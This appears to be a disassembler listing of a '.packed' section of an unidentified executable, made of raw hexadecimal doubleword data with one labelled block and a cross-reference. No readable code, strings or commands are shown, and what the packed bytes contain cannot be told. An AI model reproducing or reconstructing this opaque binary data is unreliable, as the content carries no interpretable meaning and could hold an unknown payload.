		dd 4FE0B138h, 0F6545B11h, 111109Fh, 48882265h, 0F462050Ch
		dd 0C2F911B8h, 84B99010h, 7821ED43h, 3CC8E190h,	6432D564h
		dd 48C93CA5h, 0BD64800Ch, 24A48C32h, 197032B1h,	86240CA5h
		dd 0E4219943h, 0E0CA8D90h, 0C881900Ch, 79748C14h, 0BA443410h
		dd 8488171h, 0B9FC8069h, 0BC026189h, 10015911h,	45112BAh
		dd 0CD1DCCCh, 2378478Eh, 0CF8891C4h, 688811F8h,	15B99CE2h
		dd 0C4C8C890h, 0D18C68E1h, 0F48ECB33h, 0D1701111h, 8810548Fh
		dd 4440C520h, 32B8A80Dh, 0B9AC182Ch, 23184386h,	0C8081058h
		dd 0D0F4C2B8h, 0E0187C11h, 41E85286h, 460DCC2Ah, 598676E0h
		dd 70D0BFF0h, 350D8B14h, 0C418A314h, 0A8084088h, 10389AB8h
		dd 300C710Fh, 0B8945810h, 3B31B8C4h, 3EC572CBh,	0E023C6E8h
		dd 0C421F09Eh, 345576CCh, 86035331h, 0FF2EE5E2h, 9488CCD1h
		dd 8A1D93B9h, 0A3D021C4h, 1D890A2Fh, 129E261Fh,	742028D0h
		dd 807D3D7Dh, 70141C93h, 0EC6CC9B4h, 9C0D89CFh,	6C848139h
		dd 6CFC49B9h, 0BA9C21FFh, 0D40CD859h, 0D0500885h, 1142F671h
		dd 38639944h, 0B843D80Ch, 0B0942821h, 6514880Dh, 87D2728h
		dd 0D215C65h, 7408CFF0h, 0E421BA43h, 881A1094h,	9DBC64D8h
		dd 0AC0D127Fh, 440CBC31h, 0A44327A4h, 10413C29h, 6EF4C994h
		dd 18B8444Ch, 45D12FBh
		dd 55522B0h, 4D100828h,	343C8021h, 7B141045h, 76106827h
		dd 1035343Eh, 2D1A711Eh, 0D6C0F10h, 67071025h, 910DA8Fh
		dd 0FAE35F62h, 4D68BA4Ah, 0DC4286E0h, 29CF8884h, 731FEF45h
		dd 50C51864h, 0EE089637h, 0DC4C221Eh, 86E8B8E5h, 408AE442h
		dd 1C30714Ah, 6023861Ch, 89783CBAh, 9015F65Ch, 51ECC8F0h
		dd 523E0E14h, 0EC218EF0h, 0DF8C10CEh, 230DD455h, 0DEBC1084h
		dd 8C9064E9h, 0A3391C8Bh, 95FA1D84h, 0C8F81074h, 0CEB050F4h
		dd 0A09FBEA7h, 5A901563h, 9EB95011h, 0A558443Ch, 0BB084E4Ah
		dd 8428FC44h, 107C1287h, 60C84A52h, 0B1622065h,	2D6C1950h
		dd 100D9132h, 30C8B9A8h, 20626064h, 0D877851Bh,	0DC7045E8h
		dd 18FB6C8Bh, 60788EA8h, 9E4BE18Ch, 4670888h, 6910E568h
		dd 18CDD9E8h, 3408F1DCh, 1408F18Eh, 3210C485h, 574A9A0Ch
		dd 5D124852h, 0A2A2C35Bh, 893F538Fh, 7E58560Ch,	0A14F355Eh
		dd 107DA057h, 0F9FF2C74h, 305FB379h, 0D83C6803h, 20764797h
		dd 2BDAB712h, 5108752Fh, 0AC3542B4h, 0B069738Ch, 0AA241087h
		dd 0B890B423h, 441508E2h, 1CC072BCh, 0FBD7F023h, 1CC872A4h
		dd 0CCA8D842h, 88D0438Eh, 0D41155BCh, 0A471D8C8h, 39DCA20Ah
		dd 88210EE0h, 21E44754h, 2A70C4E8h, 0F0E4EC88h,	51855438h
		dd 87F81CF4h, 23AA3C10h, 0BB21B8FCh, 842A2064h,	862BB04h
		dd 0A20AF71Ch, 0E10390Ch, 0EDD6EC11h, 85CC260Ch, 14753983h
		dd 15458F59h, 14232D2Eh, 25BCF32Fh, 0C273AF77h,	0D6042474h
		dd 19755094h, 68450FA4h, 0ADBF1E6Fh, 0C316037Eh, 46C64B2h
		dd 74940D10h, 85C03380h, 2C0274C9h, 0C763D1FFh,	568B0888h
		dd 5B770057h, 4AF8458Dh, 30E9A533h, 7D7A896Ch, 0FC645DE6h
		dd 8B416088h, 7FCF2BC8h, 4D864DB1h, 1232E983h, 480C8743h
		dd 6E0A2374h, 24BD17EAh, 6802FF27h, 17D6D8E0h, 9847EB70h
		dd 0D721DD90h, 8C80F132h, 11B5AE29h, 57F0168Bh,	3CAF656h
		dd 74F73B10h, 0D4D96512h, 3B622056h, 0EBE674C7h, 8C68B51Ah
		dd 0D14F0B69h, 480E6818h, 0EDFC158Dh, 0AA1642D0h, 18D3F191h
		dd 5C5068F7h, 3901CC66h, 8DE6763Eh, 0C6E045Eh, 479B5C0Bh
		dd 18C38300h, 0F1723E3Bh, 0DED255EBh, 561491F3h, 0A00CF56Ah
		dd 0FAE9A964h, 6F00D95Dh, 0F39212D4h, 27882D3Fh, 0F3E7B6DCh
		dd 0BB14BEE1h, 0D6F20A53h, 3DF1420Bh, 0C6809F0h, 8E40D0D9h
		dd 8B180DDBh, 0FBF05EC6h, 0EF6184B4h, 0FEC3D41Fh, 0D81D7E01h
		dd 75D157CEh, 19F7E6E9h, 2E348DDAh, 0B70F0054h,	0C7031C3Ah
		dd 75494042h, 4EB5FF6h,	850823C7h, 5745E91h, 30A9484h
		dd 254982C1h, 7BD2FF5h,	5FCF10E9h, 0E86F7F3Fh, 0D0F7660Eh
		dd 0F2575E9Ah, 81BEB55Bh, 0C2048F8Fh, 57C8B23h,	9534FFA4h
		dd 0A28353A4h, 1C6A092Eh, 282FD957h, 4147AAA2h,	53E9869h
		dd 45267E80h, 0EF0A6A33h, 0AAF8224h, 5227B80Fh,	3B462D48h
		dd 0DA7C26A8h, 34C78B24h, 0BD6C6D23h, 0EDF8BD10h, 5E914029h
		dd 0CC53945Dh, 3066AE8h, 14245C8Bh, 0DE5A907Eh,	6AF29F82h
		dd 7E14A030h, 2BDE9716h, 2A705F5Ah, 471F1401h, 0EA7CFE3Bh
		dd 80E324EDh, 97C38B5Fh, 5147A7F6h, 0FC658311h,	0C7AA26C3h
		dd 12D382Ch, 59D9B25Ch,	1CBE4034h, 264315FCh, 2FC84644h
		dd 5500F7Eh, 415E6A0Fh,	3B5A17C0h, 37507C1h, 0C0FC5589h
		dd 7C5BF983h, 616AF30Ah, 7B511059h, 87D8B00h, 88EA5656h
		dd 6427D70Ch, 575C90F9h, 94D0F00Ch, 0CE7EF437h,	5680767h
		dd 0CCAE2208h, 2D98DB2Dh, 43162450h, 27555F91h,	94706ECCh
		dd 5A276495h, 7AD1896Ch, 0C72A3BB2h, 2218830Dh,	948DD0E8h
		dd 0B0F28316h, 194B042Eh, 17741447h, 121E2C0Fh,	7A01897Ch
		dd 0AA2878E0h, 20E1195h, 24F963F9h, 485CEB11h, 750A0A27h
		dd 1020BE07h, 5A804C11h, 1CBE3E75h, 513C5284h, 2E75050Ah
		dd 1852CC50h, 32234684h, 11142101h, 0FC021813h,	0B21DDE10h
		dd 7A2A0CD8h, 45046842h, 7FA07E0Ah, 51BD561Ch, 5C024EE0h
		dd 82090526h, 853868E0h, 9A80F067h, 0DE2B7664h,	1AC42F3Ah
		dd 2934B834h, 2BE4EE1Dh, 682E0349h, 931D502Ch, 0F8B8D3E4h
		dd 2B2FE4A3h, 88164B6Bh, 809F0B84h, 2F88377h, 1F76365Eh
		dd 6CB5257Ah, 0C0BB29BBh, 4D1254Eh, 4525076Bh, 969A3BAh
		dd 57F50A1Fh, 442DBC26h, 1574061Eh, 4DF4468Dh, 0D9B66FF5h
		dd 9C1B5918h, 0A17EB40h, 49050E8Bh, 37C34D3Bh, 7CFEF694h
		dd 0C6830175h, 0FE814714h, 726787B0h, 0A7ECEBCBh, 0BF043B8Dh
		dd 2885140Dh, 7DF68B23h, 25E15110h, 0E19D0A18h,	0C35D591Bh
		dd 16D8ACD3h, 345389B8h, 46864817h, 0A88D7DBFh,	44C4491h
		dd 5B196290h, 50184675h, 58880D32h, 0E867BFC4h,	61E86267h
		dd 459D395Bh, 0E6D31F27h, 62FC530Ch, 4C4214BFh,	0BFC45088h
		dd 428C5028h, 4F5088BFh, 0E86E8CC8h, 45ABA088h,	2D246F5Ch
		dd 0D27FE2BAh, 45843D08h, 541E317Bh, 28C83798h,	74401EE0h
		dd 5D478480h, 8FFD7C3Eh, 3F887810h, 212A74E4h, 0C8211170h
		dd 0F7BE716Ch, 207D1941h, 688A64A5h, 194D83AFh,	0A50FFFCh
		dd 87CD7F8h, 0F26975F3h, 68322E5Ah, 0DF6A3B58h,	0FC4C1CEh
		dd 20AEE3BCh, 0C33B145Ch, 3C157D32h, 0E83BA354h, 0DF340953h
		dd 0ADD40112h, 8024EB89h, 0D7D642Ch, 284D668Dh,	0C6202A51h
		dd 0BED8B7B2h, 0B9265CF3h, 400C5D86h, 7753DCF1h, 43599A3Fh
		dd 0C2F5AB3h, 40C808F6h, 71EF3BB3h, 996125C8h, 3A67CB8Bh
		dd 5812DBA2h, 12564F35h, 8E66AF1Eh, 0ABEE9712h,	4684F6C2h
		dd 0C22A6BC1h, 2D78515Eh, 66923EE6h, 3B1CA105h,	10AA0C45h
		dd 7613E92Dh, 0C9A80904h, 32D6E244h, 1429DAE6h,	0F8BCBB3Dh
		dd 6A085D80h, 37448DEDh, 24A3120Ah, 478FE117h, 8450A01h
		dd 3D44F8BEh, 746A0258h, 0C068C72Bh, 0A353BDA3h, 6BC52196h
		dd 0D61F20BDh, 0D9ED74D6h, 0F7431A9Ah, 68056AE0h, 4343450h
		dd 32131E56h, 0B814D705h, 0AF70310h, 3968106Ah,	44C47822h
		dd 57104AC6h, 2551D121h, 0F38138CEh, 2F174968h,	22A920CDh
		dd 9C1896A2h, 0FBAC0824h, 5F70D68Bh, 8098A224h,	0D2FEFA1h
		dd 61438E60h, 169AA714h, 9F2D33Bh, 0CA3D0777h, 0EBF610ACh
		dd 1A565545h, 1056C8Bh,	0AEC2795Eh, 0D2C129B5h,	0A8194D53h
		dd 981A660h, 5E0EA73Ch,	0B392EC35h, 381921F9h, 245899B0h
		dd 2C5E7C20h, 9EB05B5Fh, 8404804Ch, 410175C9h, 2EFFB822h
		dd 703C13Bh, 3E02E083h,	0A90315A7h, 40807719h, 12740A84h
		dd 0C80D0DCEh, 115C9F0Ch, 0F564C06h, 8545FF03h,	3216BE56h
		dd 1D761681h, 0C1E0D447h, 0CE3C08E8h, 509B0C54h, 0A64C106Dh
		dd 81A5C32Eh, 24262C4Bh, 84DB8644h, 14B6AAC5h, 882AEFC7h
		dd 0B700A365h, 53144D8Bh, 9E281D8Ah, 0D23309E6h, 85004A52h
		dd 8A1C76C9h, 64323A04h, 480A9BC3h, 75A2330Dh, 81C3FEA1h
		dd 0D13B423Eh, 0CED0E472h, 772EA888h, 156A0922h, 0C228A868h
		dd 0D8886DCh, 30CF13B5h, 0CB74F2B9h, 158D4BBBh,	17825A0Eh
		dd 22909068h, 0D2A8966h, 0A346239Eh, 0A84178Ah,	13A63959h
		dd 55370B76h, 1134D780h, 380E0C8Ah, 0A588CB32h,	0AB024006h
		dd 4AF27214h, 8B218BA9h, 0F4328BD9h, 3880428Eh,	50F29E0h
		dd 47C1C895h, 0B3749D3Dh, 0EBEE7C02h, 0F750414Bh, 4E74A33Eh
		dd 0BE4875B2h, 58868D86h, 0D825C89Bh, 244419FCh, 9089CF1Ch
		dd 7D79E926h, 330DDCA6h, 16211429h, 2C303228h, 38D48027h
		dd 0CCA5E22h, 984538E6h
		dd 8838F82Fh, 8AB66D26h, 0C4A5F302h, 80C7923Dh,	0CCEE3A95h
		dd 92BF6C2Eh, 0B5BDE19Fh, 4CAB1F44h, 0EC1E77E6h, 0D6A611C5h
		dd 0C96A6192h, 8414D4ACh, 0A6B2A866h, 0C9599D9Fh, 11A489A4h
		dd 94BC9CADh, 90DF2111h, 0A33C253Eh, 0B1097516h, 65B304BEh
		dd 6A5E2D12h, 0E6AA0664h, 0FE109CB7h, 48211088h, 0C68124C1h
		dd 48771C23h, 0B0C91DFEh, 555314C8h, 108798B6h,	0ED20DB33h
		dd 6B7EF33Bh, 98F23679h, 33717D24h, 1EBA5ECBh, 25FB2AB6h
		dd 39D1BE8Dh, 741F3960h, 5DC4C703h, 282A7C89h, 209EC18Bh
		dd 22240652h, 44D5078Bh, 696697CFh, 122C2181h, 0AE70588h
		dd 12423806h, 0C299E837h, 8730B68Dh, 36E51F35h,	1EA01027h
		dd 97C58B5Fh, 0CA7FBE29h, 97EE1E21h, 0A425E5C4h, 18B22F5h
		dd 5ABEBC43h, 3AF12DE0h, 98480EFDh, 7D850C2Fh, 468833BEh
		dd 81FC0C4h, 851D1A75h,	39897EFFh, 7C14F83Eh, 530E2BDFh
		dd 9419A649h, 43884BFCh, 93B92408h, 344853CFh, 0FA6C87EEh
		dd 11E24FCEh, 73C2543Bh, 81407160h, 0D827C151h,	26A120F9h
		dd 0D23FB2E9h, 312290D2h, 0E615BA3Bh, 5621A411h, 5E2C2242h
		dd 25C21DACh, 60B483E5h, 7424BA80h
dword_4E414C	dd 4A629F09h, 0F5014EDFh, 10E6A63Fh, 1D25C085h,	1C44B551h
					; DATA XREF: .packed:off_43ACECo
		dd 0B08B49ABh, 0B7F9F60Bh, 461AEB63h, 38641F2Dh, 99103C98h
		dd 6A1A8E01h, 5FE53F12h, 0A93BE96Dh, 778F5866h,	24D76697h
		dd 4CC88889h, 4386200Ch, 90282124h, 0BD30C82Ch,	0BEB091FCh
		dd 8F274E42h, 52FB63Dh,	0C10E8A5Dh, 2F5A7483h, 28EDDEC7h
		dd 12F90CC9h, 4CF8D2F9h, 2AF93A80h, 3F0A2EB2h, 5BD378EBh
		dd 3AEF0A40h, 9214CA4Fh, 97BC4A5Fh, 460A8D31h, 0A2080350h
		dd 0A7999889h, 18DD4A9h, 3113EB1Ah, 0A829172Ch,	4E184143h
		dd 0A0EB4746h, 2A7EEE90h, 1D5F0B50h, 41F010A9h,	0A68B120Bh
		dd 0A6BFD35Ch, 0AABE0B0Ah, 0EB348505h, 2785C802h, 1059E5B3h
		dd 2A6FF74Dh, 7D210A80h, 803B58F8h, 0DB95D39h, 0C410675h
		dd 630ACAF7h, 8A2C0311h, 5DFB8019h, 2D396C32h, 0CB09634Ch
		dd 2D1C3F3Dh, 418A2C0Bh, 3E711C07h, 3AFF49C0h, 1F037DC8h
		dd 1B745D3Ch, 4E3EBE39h, 3F2AC716h, 3A818A4Fh, 0D0177CD9h
		dd 13607FD8h, 5F3289A8h, 0FB0C6EEBh, 183A047Ch,	0E2EED775h
		dd 54FA02FFh, 0A6648284h, 2BC6F8A2h, 0E02E95D2h, 0CD3BF987h
		dd 0FF519CC4h, 0C9931B2Eh, 0D6528C74h, 0F3BB8D24h, 54FF329Ah
		dd 4018C20Eh, 91838A0h,	98A1C74h, 40A2D11h, 1510EB0Dh
		dd 8940B485h, 0EB202107h, 19C5DBE0h, 0BD042EEAh, 0FF5A01Eh
		dd 0CB3A088Ah, 1601198Fh, 2D741A38h, 1D6F334Bh,	494E7E0Bh
		dd 60890519h, 0BA36F104h, 0FA3CB42Ch, 3A62D807h, 0BCD4108Ah
		dd 48743C7Fh, 0D312998Ah, 0B98D05E5h, 9534E8EBh, 963011F1h
		dd 0B2053F9Ch, 0B0AED329h, 20A3C44Dh, 0F8690DB3h, 4B4E7D0Ch
		dd 5C490C99h, 725351A5h, 1B9C8262h, 25CA0843h, 0F9956AC6h
		dd 4CBE283Eh, 7480E8BFh, 8BE5645h, 901FDAh, 32F7691h, 3AE290D8h
		dd 0F34ADA46h, 90680999h, 84BB941Bh, 99577D11h,	0C0BBC2A0h
		dd 0C6E68E78h, 7E244076h, 3926E0F8h, 0D1EC7C2Fh, 7C404C53h
		dd 69F698Fh, 14D303A6h,	0CF5F34C6h, 0A1E0954Ch,	0AFB7E4F0h
		dd 560DD96Fh, 298D7248h, 0B6750134h, 548C3D23h,	682441F9h
		dd 42814BBCh, 5230BC6Dh, 0D2D16C5Eh, 285661B4h,	1C0411E7h
		dd 0A728B20Fh, 1004B855h, 52D1E3EAh, 57F82293h,	83124750h
		dd 3291253Dh, 0D02F0892h, 5017E210h, 0D5A3F689h, 42F05922h
		dd 8F11D040h, 9545B457h, 5287D48Ah, 1E7E128Dh, 0F2CA8A08h
		dd 1E303F19h, 0E42C6D0h, 0F8E2C642h, 5F30241Ch,	3F0E21Ch
		dd 49274071h, 0C03A4B40h, 0CCBD8D89h, 64797C9Dh, 0DA707628h
		dd 9E747124h, 0B0605D69h, 0E0A639F8h, 6D58D97h,	0EF58A13Eh
		dd 11BB4B28h, 0D6C38B33h, 76309AE4h, 0B3044E33h, 0D58DBF4Bh
		dd 2DCE33Bh, 738D33FFh,	84499AD8h, 0E3EE0A08h, 0A0681416h
		dd 9357B2C8h, 0EC783212h, 70AFDC39h, 88B7EB7Dh,	2C71FC10h
		dd 14DD4559h, 119CD5DEh, 5689A47Dh, 5F800F48h, 7E2055BDh
		dd 8429355Eh, 0E51361Fh, 40332457h, 5936DCF1h, 0CC21B289h
		dd 0C012EC14h, 27F06486h, 410322C4h, 0CC2BC16h,	18A8B01Ch
		dd 2F646AE8h, 833B416h,	36B5AA2Ah, 0B885FB80h, 5BE2891h
		dd 0C4810453h, 0CA832E12h, 44226133h, 2040C383h, 3B503909h
		dd 4999EFF8h, 0B4B1FC94h, 1F6CF232h, 0C1DF28EDh, 916AF9C6h
		dd 3C572C45h, 0D12CD2A5h, 0E20B5A6Ah, 60278BFFh, 2D34FF52h
		dd 0E80930C5h, 0E048945Dh, 33F089FEh, 0D5B09394h, 4216A613h
		dd 3359CED0h, 18C9F32Eh, 2042CB8h, 0BF388588h, 0A77CEACAh
		dd 88BB5612h, 0E02EC1D3h, 39048906h, 2D60C98h, 2AA74522h
		dd 0DA52CECh, 2A654C05h, 5705D1E9h, 89DBECBEh, 5679816Ch
		dd 0DDFCA353h, 1D891886h, 76950DF8h, 10BF4212h,	399C276h
		dd 0B442573Bh, 475977DCh, 2918D4B2h, 7A0B9277h,	0E8A336E5h
		dd 40442883h, 2F7F7D6Ah, 3CE8DE80h, 184E458Dh, 31BA9A87h
		dd 3FC7576Ch, 0CC5B8405h, 1A51EB85h, 693704C4h,	20EAA020h
		dd 0FC2E879Ah, 884800FDh, 1A6D5749h, 56E7FC11h,	229545F4h
		dd 8968533Dh, 176D577Fh, 5E1D0D14h, 1DA08DA2h, 4C70DE88h
		dd 415CE885h, 231E1068h, 7729DA93h, 0A15A1294h,	94BE4B46h
		dd 0D28A9D7Bh, 0E0A4E228h, 14DAA011h, 982123AEh, 0DE90F8DFh
		dd 0D5F1F85h, 4518E128h, 0A8247129h, 2C101AE0h,	46A8A8E1h
		dd 0E12C84E0h, 0E044A43Ch, 431D23DCh, 9C3804E4h, 9084E042h
		dd 0F3AA42DEh, 9C211E40h, 0E130D0E0h, 1DA8428Fh, 6559931Fh
		dd 0EF90FA7Eh, 4C993906h, 12C47314h, 71074801h,	2024C2FCh
		dd 145CD9A1h, 22DB4254h, 9948F618h, 18E46842h, 0D8A31950h
		dd 0CF2423EBh, 0DCA3B158h, 58112AF4h, 2014A4DBh, 1C5D411Dh
		dd 239178B5h, 3A0A0759h, 0DB4C9018h, 44D448A3h,	4C68F108h
		dd 0E0A1DB43h, 40881EDBh, 98969AFEh, 3F104394h,	8703C413h
		dd 0BE21E13Dh, 8E62E3C4h, 6A5B61D2h, 0EC5FEA5Ch, 7E589553h
		dd 18880212h, 489994BAh, 0A30DE4E7h, 234C0BC8h,	6AE1433Ch
		dd 3CB51EAh, 7D38A33Fh,	408D2825h, 10EA249h, 0D40D8928h
		dd 441384DAh, 0D81A504Ch, 0DF455D8Ah, 9FBAFC12h, 0CEFC2313h
		dd 8AE4D0A4h, 2A594128h, 0DA310FDh, 0A3283A53h,	237A8CE4h
		dd 597B5A0Ch, 413C4A25h, 3E288DCDh, 0B91BF4DDh,	790CCB9Ch
		dd 40443B5Ah, 9145C8A1h, 136DE017h, 2EFD2549h, 5B069E63h
		dd 9E063751h, 63F71049h, 896B393Dh, 0F806F4B2h,	0F312FC04h
		dd 92833E5Fh, 88F2590Fh, 12DD7127h, 0D1DF0931h,	0F3F49693h
		dd 788C4F9Bh, 39E344BCh, 1B0D76D1h, 0D6D2C2B2h,	0DEF8421Ah
		dd 0DEFC42A0h, 57AC89A5h, 54050B05h, 818E90Fh, 0F44D2503h
		dd 47F809A9h, 201CAD06h, 0CD5204A1h, 2714FD1h, 607B0120h
		dd 0DB335F23h, 20E93F1h, 0A6EFBD84h, 0FE8314D0h, 0DA255A81h
		dd 77140A5Ah, 0E44158D8h, 0BFE8CA93h, 9FE6589Ch, 0E87E3D11h
		dd 56498004h, 8D696664h, 16719F44h, 89EC6C6Dh, 0AFF8555Dh
		dd 6141D009h, 5303FEE0h, 0FC772EC7h, 0CA156ED1h, 523210BDh
		dd 4D7829CCh, 4A621B95h, 9F6EF0D8h, 0B1DA6CEBh,	833C028Ch
		dd 0B06448A7h, 0D475B037h, 484F80C7h, 48408666h, 4C9A52D8h
		dd 0DED0FFDCh, 0DB691459h, 83253E34h, 3CA9414Bh, 0F4A9F6C5h
		dd 5FAEF324h, 4EF07D8Ch, 9342F974h, 0B8CA59B0h,	59AFB202h
		dd 88705EBh, 0AA8B8A67h, 35B351DDh, 57C41289h, 740835C5h
		dd 1E6C88FDh, 14491871h, 52DC36BDh, 64651646h, 983513C8h
		dd 548614E5h, 0C2E0712Dh, 30687B30h, 152819E4h,	5B85A5DCh
		dd 2A3D4464h, 2EC3D08h,	40BD802Dh, 9AA3AF7Ah, 6DE85C2Bh
		dd 0B140A73Bh, 0A68C0B9h, 5065E5DDh, 52FD7488h,	6B842650h
		dd 53AD845h, 28E1B51Ch,	0FD4FF86Dh, 5DE0EA2Ch, 0A740C59h
		dd 4317D805h, 0FE88081Ah, 59791952h, 0CB6FB6C6h, 2847080Eh
		dd 0F410C011h, 15E88CFDh, 2DFE42A4h, 0A82039ECh, 4384C40Ch
		dd 0F8D86A94h, 85849810h, 958D4F9Ch, 80FC2A3Ah,	900B299Eh
		dd 89246A04h, 9D2FE6C4h, 0B4D019FEh, 0FF564E2Fh, 0E709AC37h
		dd 1CC09E6h, 0B44518BEh, 9AE6187Eh, 5FB99889h, 0B45BAA20h
		dd 0F4209A2Dh, 0E264DDD4h, 2C27ECD1h, 0ECEA0253h, 1660FC1Bh
		dd 9991ADBBh, 50800331h, 72044D5Fh, 4089BE69h, 0C9E4C724h
		dd 5F5068E3h, 0E012E091h, 4D1D33BEh, 1234B822h,	291F5068h
		dd 593830B1h, 855D3928h, 531D7514h, 0B9CC931Bh,	23EF8CC4h
		dd 543489A1h, 527D7ADAh, 0C50454E1h, 0A435E6D4h, 26FBF2EBh
		dd 6DA41C89h
		dd 202E259Ch, 0AF708238h, 0C8595781h, 89D48C82h, 5D69DC7Dh
		dd 1C7C4C50h, 0A573A185h, 84E905FEh, 44BCD806h,	0E864F4D1h
		dd 0D03EBC24h, 44BE9345h, 0A3C3E839h, 0D84D8435h, 0B8A32A7h
		dd 4A2CC6h, 0FF1E6A2Dh,	0F54AEBD6h, 70112B29h, 567C1EE4h
		dd 0FED134B2h, 2D0510C5h, 0B0023B47h, 0AC51860Fh, 0BFD080A7h
		dd 936601E2h, 608741F3h, 415003EAh, 0A8F2B73Eh,	25BBBDE5h
		dd 50491104h, 5BD18B32h, 79F8A426h, 4E472514h, 92AFF646h
		dd 0E95C9FEAh, 0DAB53B2Bh, 79D5C974h, 70EC8F1Eh, 0D432E4E4h
		dd 534D466Ch, 0CE779A45h, 69A29A13h, 7532DB5Ah,	0C4E6F904h
		dd 3EC49D5Fh, 192B3A32h, 5E841444h, 895E2D80h, 0AFA84FB0h
		dd 0C821716Bh, 6A9521CBh, 4E285606h, 4E5CFB58h,	0AE5F74E1h
		dd 8A722173h, 0D4CB83A5h, 0A4B1936Eh, 3E5C74DDh, 38D8C943h
		dd 95F4BF24h, 1F84DCA2h, 482C5704h, 0E025FF42h,	44A2045Dh
		dd 19D4B2FCh, 81BA957Dh, 4C47EC7Fh, 0AB4F5E5Fh,	0CD09D764h
		dd 0CAE14B34h, 0B9CE9B5Dh, 4C0259F3h, 7724CC28h, 0A483C7C1h
		dd 330B636Ah, 0B3D0AD35h, 84CC9F2Ch, 0FA1FAC24h, 79112E72h
		dd 122A5059h, 5676225h,	255BA4D4h, 0BC911CFCh, 25F4485h
		dd 0C85F689Eh, 88BF6C63h, 58C73BC2h, 2E60929Bh,	94CF47Dh
		dd 609B326Ah, 0F97DFCCAh, 0B3983E90h, 0BB89FB8Ch, 32365891h
		dd 6AE01384h, 4B7BB604h, 5F9A6B2Bh, 2CC8293Ah, 0F1A65AB9h
		dd 50A23042h, 21D49035h, 27D064E4h, 0D0382004h,	0F8E09087h
		dd 3EFC8BFCh, 0F8100821h, 241D08E2h, 0D3B9389h,	0A238742Bh
		dd 0BA29C110h, 0D458904Bh, 179C951Fh, 47FED021h, 0B5479854h
		dd 0AA0294A9h, 0C4B4D4B9h, 24A2FB24h, 0C18F5C58h, 0D10C60CDh
		dd 20C3C120h, 244A5C0Eh, 0F1D9D1B1h, 938DEC3Fh,	747B91FEh
		dd 336AF51Ch, 79C34857h, 20241AC7h, 184938B9h, 45E3989h
		dd 0C68B3E8Ch, 870C28Bh, 0C4607B4h, 56D92D80h, 82035FE2h
		dd 22A5083Ch, 0F601F042h, 4F62E74h, 20A83456h, 3BFA8DD3h
		dd 2F7F24FDh, 265C603h,	7B9989ACh, 206B33A8h, 10C25D0Bh
		dd 4E8968D0h, 0D6748592h, 91AA4085h, 66548359h,	2BE126A7h
		dd 813565C6h, 0DEFA46A6h, 1E7D42D9h, 0F8030B50h, 0C39D0F7Fh
		dd 0FEE3B94Bh, 8F03B3EBh, 0BF385095h, 32040D75h, 0B258EBC0h
		dd 94505C2Ch, 582797C8h, 0F7581FBh, 8828838Ah, 0AD76FF07h
		dd 0F76ADECh, 0C61AEB36h, 0C1A9828Ch, 8808F81Ah, 0CA1B0E20h
		dd 3901C02h, 0BAE76648h, 0FBB46F8Ah, 7AFC5928h,	0F75F4AB0h
		dd 0D9042A4h, 61F84D8Dh, 2F0144ACh, 67A8D2C4h, 29D06EBBh
		dd 0C1DC2708h, 954A4087h, 0A1153C8Ah, 0A4FA4D94h, 8A21ECD0h
		dd 6FF82B3Bh, 0CE8B1805h, 0B3C33E08h, 0E4724093h, 112896A2h
		dd 0B5C9107Ah, 767C5550h, 147F0855h, 0F8397078h, 7DDB0689h
		dd 0EA664D71h, 5F6B0838h, 5943FCD9h, 1B4E6650h,	0BC13570Ch
		dd 9575EE2h, 229B1FB3h,	43615B46h, 888424C3h, 43C3281Bh
		dd 8808E3D5h, 6BC842CCh, 69C35274h, 8C600C29h, 77F33BDh
		dd 43D92BABh, 305B495Eh, 15F15881h, 42B8384Ah, 0D2BF2A0Fh
		dd 0A30FAE1h, 8F0F1310h, 5D51B433h, 438D180Bh, 0C6200F08h
		dd 641D2587h, 36D04A56h, 23E04710h, 0BDF8BFB0h,	102913EBh
		dd 0C89410C0h, 69D8C808h, 3868FD82h, 3F12AACAh,	3EFD50Fh
		dd 5A0F40EAh, 19680819h, 84BE9A03h, 0A8853A18h,	56A2F761h
		dd 0EC3E426Ah, 6E80B566h, 0D12C6808h, 53353673h, 0D864EC21h
		dd 0AB09B818h, 2B2125B5h, 39841E78h, 0E05A4CEFh, 23EDE386h
		dd 0AADDEA3h, 4C0816BDh, 2AA4562Ah, 62446A29h, 40B71148h
		dd 40106863h, 68BB43A1h, 0B32E1D34h, 7368ACD6h,	0BD0A0E0Ch
		dd 704A167Fh, 43104423h, 57B468B1h, 0FE33FE6Bh,	0F808BFD4h
		dd 0D51E6C44h, 6B6364BFh, 6D61710h, 2B1DC798h, 7118827Dh
		dd 80C557E8h, 0A5EFDB4h, 202932D5h, 90C041ECh, 0B4C8EF1Ch
		dd 3364BF68h, 26446499h, 0D8612C09h, 9D84AE60h,	0AC77B4AAh
		dd 954CCD5Ah, 230ED410h, 0CAC490D0h, 716F42C0h,	0AB3AE0CAh
		dd 0C011B2D6h, 4148D5B6h, 70D8AC19h, 5CA28E68h,	1983DCB2h
		dd 0B09A026Ah, 660FF3A8h, 0CC6CCAE2h, 0A6C80C17h, 0C81CF76Bh
		dd 19F04D8Eh, 506CF8C8h, 0C27D9DCh, 122E4DD8h, 376EDC1Eh
		dd 0AC68C31Ah, 8C2B12B3h, 0B1F44AB7h, 2BF09460h, 0F091E3DEh
		dd 0B16FA888h, 9156FCCAh, 31F8F2F8h, 98E20E9Ch,	7B0EB819h
		dd 72593C87h, 2C7808CEh, 0DCE895Eh, 448A1BCh, 11490EEBh
		dd 286B1019h, 56881027h, 0F811BD57h, 0C47A385Fh, 0F516FDF0h
		dd 1CB83F02h, 46136ACCh, 8912017Dh, 70A2F8B5h, 0F1F21341h
		dd 0C183478h, 0A68C72Ah, 20416497h, 9198720Ch, 0F7117527h
		dd 23B5294h, 0C04A7C53h, 9F10FB88h, 5FEBFED6h, 0A1C5A9B2h
		dd 8DB72B34h, 8DD2FC33h, 0F7040B27h, 74FAC01Ch,	54360B94h
		dd 3BD69F34h, 8F1A2952h, 49AAF650h, 37FB4048h, 0F77D46A5h
		dd 795FB934h, 0F189B741h, 758D5E45h, 132C8207h,	539DC209h
		dd 2FF0656Eh, 20D46812h, 10D3FEB9h, 3106DCB9h, 20210468h
		dd 89665005h, 14562F7Eh, 3B5E7306h, 3921C5DBh, 6252053h
		dd 681ADF03h, 12EEE6FCh, 0FC14700Fh, 9A62BE85h,	130E8E4Ch
		dd 0C183C104h, 5084488Bh, 0EBDB32EAh, 0C5AC3B5Bh, 0FC62D293h
		dd 4961A7Dh, 0A3920420h, 1C2AB156h, 5ED67401h, 102E6021h
		dd 965601B3h, 0C38A62C8h, 83E7BA56h, 9896F82Dh,	0A0F61148h
		dd 9273FC43h, 4816A164h, 81A71EEDh, 0BF20E404h,	40265334h
